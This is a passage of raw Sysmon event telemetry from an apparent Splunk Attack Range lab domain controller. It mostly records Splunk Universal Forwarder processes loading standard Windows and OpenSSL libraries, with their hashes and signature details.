Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.081{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000055607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.904{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000055606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.904{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.904{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000055604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.735{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.735{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.735{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.735{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.735{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.735{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.735{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.735{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.735{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000055589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000055572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000055568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:21.720{7BD73061-746D-613B-9B0B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk 